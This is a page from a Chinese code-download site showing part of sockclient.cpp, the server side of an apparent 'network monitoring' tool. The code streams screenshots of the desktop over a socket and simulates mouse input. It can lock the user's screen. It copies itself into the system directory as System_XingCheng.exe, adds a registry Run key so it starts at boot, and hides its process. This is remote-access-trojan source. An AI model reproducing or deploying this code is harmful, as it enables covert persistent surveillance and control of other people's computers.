⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 sockclient.cpp

📁 網絡監控工具服務器端
💻 CPP
📖 第 1 页 / 共 2 页
字号:
{
	mouse_event(MOUSEEVENTF_RIGHTUP,point.x,point.y,0,0);
}


///////////////////////////////////////////////////////////////////
// Name      : Msg()
// Parameter : LSPSTR sMsg
// Return    : NULL
///////////////////////////////////////////////////////////////////

void Msg(LPCTSTR sMsg)
{
	MessageBox(GetActiveWindow(),sMsg,"err",MB_OK);
}


///////////////////////////////////////////////////////////////////
// Name      : GetSrcBit()
// Parameter : DWORD BitWidth,DWORD BitHeight
// Return    : HBITMAP
///////////////////////////////////////////////////////////////////

HBITMAP GetSrcBit(DWORD BitWidth,DWORD BitHeight)
{
	//Define Variable
	HDC hdcmy,hbufferdc;
	HBITMAP  hBit,hOldBitmap;

	//Create DesktopDC
	hdcmy = CreateDC("DISPLAY",NULL,NULL,NULL);
	hbufferdc = CreateCompatibleDC(hdcmy);

	//Create Hbitmap
	hBit = CreateCompatibleBitmap(hdcmy, BitWidth, BitHeight);

	//Get bit to Buffer
	hOldBitmap = (HBITMAP)SelectObject(hbufferdc, hBit);
	StretchBlt(hbufferdc, 0, 0, BitWidth, BitHeight,
			hdcmy, 0, 0,SysWidth,SysHeight, SRCCOPY);

	//Get finally bit
	hBit = (HBITMAP)SelectObject(hbufferdc, hOldBitmap);
	
	//Release Memory
	DeleteObject(hOldBitmap);
	ReleaseDC(NULL,hdcmy);
	ReleaseDC(NULL,hbufferdc);

	return hBit;
}


///////////////////////////////////////////////////////////////////
// Name      : SendDesktop()
// Parameter : NULL
// Return    : NULL
///////////////////////////////////////////////////////////////////

void SendDesktop() 
{
	//Define Variable
	int BitMsg;
	LPBYTE plmagePoint;
	HANDLE hDib;
	HBITMAP hBit;
	int BitHeight,BitWidth;

	//Get Bit Height and Widht
	recv(NewSock,(char*)&BitWidth,sizeof(BitWidth)+1,0);
	recv(NewSock,(char*)&BitHeight,sizeof(BitHeight)+1,0);
	if (BitWidth > SysWidth)
		BitWidth = SysWidth;
	if (BitHeight > SysHeight)
		BitHeight = SysHeight;

	//Cover Desktop HDC to HBITMAP
	hBit = GetSrcBit(BitWidth,BitHeight);

	//DDBtoDIB
	hDib = DDBtoDIB(hBit);
	DWORD bitSize = GlobalSize(hDib);
	
	//Send Bit Size
	send(NewSock,(char*)&bitSize,sizeof(bitSize)+1,MSG_OOB);
	recv(NewSock,(char*)&BitMsg,sizeof(BitMsg)+1,0);

	//Send Bit
	plmagePoint = (LPBYTE)hDib;
	for(WORD i=0;i<bitSize/US_MAXSIZE;i++)
	{
		send(NewSock,(char*)plmagePoint,sizeof(BYTE)*US_MAXSIZE,MSG_OOB);
		plmagePoint = plmagePoint + US_MAXSIZE;
	    recv(NewSock,(char*)&BitMsg,sizeof(BitMsg)+1,0);
	}
	if (bitSize%US_MAXSIZE)
	{
		send(NewSock,(char*)plmagePoint,sizeof(BYTE)*GlobalSize(hDib)%US_MAXSIZE,MSG_OOB);
	    recv(NewSock,(char*)&BitMsg,sizeof(BitMsg)+1,0);
	}

	//Release bit
	DeleteObject(hBit);
	GlobalFree(hDib);
}


///////////////////////////////////////////////////////////////////
// Name      : DDBtoDIB()
// Parameter : NULL
// Return    : HANDLE
///////////////////////////////////////////////////////////////////

HANDLE DDBtoDIB( HBITMAP bitmap) 
{
	//Define Variable
	BITMAP				bm;
	BITMAPINFOHEADER	bi;
    LPBITMAPINFOHEADER 	lpbi;
	DWORD				dwLen;
	HANDLE				hDib;
	HANDLE				handle;
	HDC 				hdc;
	HPALETTE			hPal;

	hPal = (HPALETTE) GetStockObject(DEFAULT_PALETTE );

	// get bitmap information
	GetObject(bitmap,sizeof(bm),(LPSTR)&bm);

	// initialize the bitmapinfoheader
	bi.biSize			= sizeof(BITMAPINFOHEADER);
	bi.biWidth			= bm.bmWidth;
	bi.biHeight 		= bm.bmHeight;
	bi.biPlanes 		= 1;
	//bi.biBitCount		= bm.bmPlanes * bm.bmBitsPixel;
	bi.biBitCount		= 4;
	bi.biCompression	= BI_RGB;
	bi.biSizeImage		= 0;
	bi.biXPelsPerMeter	= 0;
	bi.biYPelsPerMeter	= 0;
	bi.biClrUsed		= 0;
	bi.biClrImportant	= 0;

	// compute the size of the  infoheader and the color table
	int ncolors = (1 << bi.biBitCount); 
	if( ncolors> 256 ) 
		ncolors = 0;
	dwLen  = bi.biSize + ncolors * sizeof(RGBQUAD);

	// we need a device context to get the dib from
	hdc = GetDC(NULL);
	hPal = SelectPalette(hdc,hPal,FALSE);
	RealizePalette(hdc);

	// allocate enough memory to hold bitmapinfoheader and color table
	hDib = GlobalAlloc(GMEM_FIXED,dwLen);

	if (!hDib){
		SelectPalette(hdc,hPal,FALSE);
		ReleaseDC(NULL,hdc);
		return NULL;
	}

	lpbi = (LPBITMAPINFOHEADER)hDib;

	*lpbi = bi;

	// call getdibits with a NULL lpbits param, so the device driver 
	// will calculate the bisizeimage field 
	GetDIBits(hdc, bitmap, 0L, (DWORD)bi.biHeight,
			(LPBYTE)NULL, (LPBITMAPINFO)lpbi, (DWORD)DIB_RGB_COLORS );

	bi = *lpbi;

	// if the driver did not fill in the bisizeimage field, then compute it
	// each scan line of the image is aligned on a dword (32bit) boundary
	if (bi.biSizeImage == 0)
	{
		bi.biSizeImage = ((((bi.biWidth * bi.biBitCount) + 31) & ~31) / 8) 
						* bi.biHeight;
	}

	// realloc the buffer so that it can hold all the bits
	dwLen += bi.biSizeImage;
	if (handle = GlobalReAlloc(hDib, dwLen, GMEM_MOVEABLE))
		hDib = handle;
	else
	{
		GlobalFree(hDib);

		// reselect the original palette
		SelectPalette(hdc,hPal,FALSE);
		ReleaseDC(NULL,hdc);
		return NULL;
	}

	// get the bitmap bits
	lpbi = (LPBITMAPINFOHEADER)hDib;

	// finally get the dib
	BOOL bgotbits = GetDIBits( hdc, bitmap,
				0L,								// start scan line
				(DWORD)bi.biHeight,				// # of scan lines
				(LPBYTE)lpbi 					// address for bitmap bits
				+ (bi.biSize + ncolors * sizeof(RGBQUAD)),
				(LPBITMAPINFO)lpbi,				// address of bitmapinfo
				(DWORD)DIB_RGB_COLORS);			// use rgb for color table

	if( !bgotbits )
	{
		GlobalFree(hDib);
		
		SelectPalette(hdc,hPal,FALSE);
		ReleaseDC(NULL,hdc);
		return NULL;
	}

	SelectPalette(hdc,hPal,FALSE);
	ReleaseDC(NULL,hdc);

	return hDib;
}


///////////////////////////////////////////////////////////////////
// Name      : Register()
// Parameter : NULL
// Return    : BOOL
///////////////////////////////////////////////////////////////////

BOOL Register()
{
	//Define Varible
	HKEY  hKEY;
	char  CurrentPath[MAX_PATH];
	char  SysPath[MAX_PATH];
	long  ret;
	LPSTR FileNewName;
	LPSTR FileCurrentName;
	DWORD type=REG_SZ;
	DWORD size=MAX_PATH;
	LPCTSTR Rgspath="Software\\Microsoft\\Windows\\CurrentVersion\\Run" ;

	//Get System Path
	GetSystemDirectory(SysPath,size);
	GetModuleFileName(NULL,CurrentPath,size);
	
	//Copy File
	FileCurrentName = CurrentPath;
	FileNewName = lstrcat(SysPath,"\\System_XingCheng.exe");
	ret = CopyFile(FileCurrentName,FileNewName,TRUE);
	if (!ret)
	{
		return TRUE;
	}

	//Open key
	ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,Rgspath,0,KEY_WRITE, &hKEY);
	if(ret!=ERROR_SUCCESS)
	{ 
		RegCloseKey(hKEY);
		return FALSE;
	}

	//Set Key
	ret=RegSetValueEx(hKEY,"System_XingCheng",NULL,type,(const unsigned char*)FileNewName,size);
	if(ret!=ERROR_SUCCESS)
	{ 
		RegCloseKey(hKEY);
		return FALSE;
	}
	RegCloseKey(hKEY);

	return TRUE;
}


///////////////////////////////////////////////////////////////////
// Name      : SysEvent()
// Parameter : NULL
// Return    : POINT point
///////////////////////////////////////////////////////////////////

void SysEvent(int Msg)
{
	switch (Msg)
	{
		case US_LOCK:
			LockFlag = TRUE;
			ShowCursor(FALSE);
			Lock(TRUE);
			break;
		case US_UNLOCK:
			LockFlag = FALSE;
			ShowCursor(TRUE);
			Lock(FALSE);
			break;
	}
}


///////////////////////////////////////////////////////////////////
// Name      : Lock()
// Parameter : BOOL bFALG
// Return    : NULL
///////////////////////////////////////////////////////////////////

void Lock(BOOL bFALG)
{
	if (bFALG)
	{
		SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, NULL,0);
		EnableWindow(GetDesktopWindow(),FALSE);
	}
	else
	{
		SystemParametersInfo(SPI_SCREENSAVERRUNNING, 0, NULL,0);
		EnableWindow(GetDesktopWindow(),TRUE);
	}
}


///////////////////////////////////////////////////////////////////
// Name      : HideProcess()
// Parameter : NULL
// Return    : NULL
///////////////////////////////////////////////////////////////////
void HideProcess()
{
	HINSTANCE hInst = LoadLibrary("KERNEL32.DLL"); 
	if(hInst) 
	{            
		typedef DWORD (WINAPI *MYFUNC)(DWORD,DWORD);          
		MYFUNC RegisterServiceProcessFun = NULL;     
		RegisterServiceProcessFun = (MYFUNC)GetProcAddress(hInst, "RegisterServiceProcess");
		if(RegisterServiceProcessFun)     
		{             
			RegisterServiceProcessFun(GetCurrentProcessId(),1);     
		}     
		FreeLibrary(hInst); 
	}
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -